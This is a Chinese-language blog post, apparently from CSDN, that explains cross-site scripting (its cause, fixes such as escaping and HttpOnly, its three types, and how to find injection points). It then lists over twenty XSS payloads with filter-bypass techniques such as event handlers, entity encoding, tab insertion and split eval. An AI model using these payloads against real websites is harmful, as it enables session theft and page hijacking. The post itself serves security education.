XSS漏洞

文章介绍了XSS跨站脚本攻击的原理,指出了由于系统对用户输入过滤不足,允许恶意脚本执行。提出了修复措施,包括字符转义和使用HTTPOnly。同时详细列举了不同类型的XSS,如DOM型、反射型和存储型,并展示了多种常见的payload及其绕过方法。
摘要由CSDN通过智能技术生成

一、介绍

XSS又叫CSS(Cross Site Script),跨站脚本攻击。因与html中的css样式重名,所以称之为XSS。

二、原理

系统对用户的输入过滤不严,导致用户可以输入恶意的脚本代码,如js,并且能够被浏览器执行,而达到攻击者的目的。

三、修复方式

1、对实体字符进行转义
在这里插入图片描述
2、使用HTTP Only来禁止JavaScript读取cookie值

3、输入时校验、浏览器与Web应用端采用相同的字符编码

四、分类

1、DOM型:修改HTML DOM节点,俗称自己玩自己
2、反射型:也叫非持久性,只能执行一次,再次执行的话,需要重新输入
3、存储型:也叫持久性,存储到数据库中

五、发现

1、找输入:寻找用户可以输入的位置
2、找输出:寻找输入内容显示的位置
3、构造payload

六、常见payload及绕过

//1
<script>alert(1)</script>

//2
<script>location="https://www.baidu.com"</script>

//3
<script>alert(document.cookie)</script>

//4
<img src=1 onerror=alert(1)>

//5
<a href="javascript:alert(1)">aa</a>

//6
<input name="keyword" value=""oninput="alert(1)">

//7
<input name="keyword" value=""onclick="alert(1)">

//8  对script关键字进行编码
<a href="java&#115;&#99;&#114;&#105;&#112;&#116;:alert(1)">aa</a>

//9
<script>confirm(1)</script>

//10
<script>prompt(1)</script>

//12 事件驱动
<img src='./11.jpg' onmouseover='alert(1)'> 
<input type="text" onkeydown="alert(1)">
<input type="text" onkeyup="alert(1)">
.......

//13
<svg onload="alert(1)"> //svg是h5的标签,onload也是事件,提交即触发

//14
<input onfocus=alert(1) autofocus> //onfucus为事件,聚焦(当光标放到目标)即触发

//15 大小写混编
html对大小写不敏感,js对大小写敏感

//16  [/]代替空格
<a/href="javascript:alert(1)">111</a>

//17 在一些关键字内插入回车符与tab符,绕过关键字检测
<img src	='#' onerror='alert(1)'>
<a href="ja	va
script:alert(1)">111</a>  //ja tab符 va...

//18 编码绕过
可以对标签属性值进行转码,来实现绕过,转码后要加分号
字符a,的ascii码97,十进制编码&#97; , 十六进制编码&#x61
字符e,的ascii码101,十进制编码&3101 , 十六进制编码&#x65

tab ==> &#9;
换行 ==> &#10;
回车 ==> &#13;

<a href="j&#97;v&#x61;script:alert(1)">11</a> //经过简单编码
<A href="&#01;j&#97;v&#x61;s&#9;c&#10;r&#13;ipt:alert(1)">11</a> //经过插入字符

//19 拆分跨站
<script>z='alert'</script>
<script>z=z+'(1)'</script>
<script>eval(z)</script>
//将语句拆分成多个,拼接起来后执行。若后台对字符串长度做限制,则可用拆分跨站将一个较长的shellcode拆成几部分。

//20 css变形

//21
<a href="#" onClick="return confirm(1)">11</a>

//22
<a href="javascript:top['al\145rt']`1`">11</a>

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值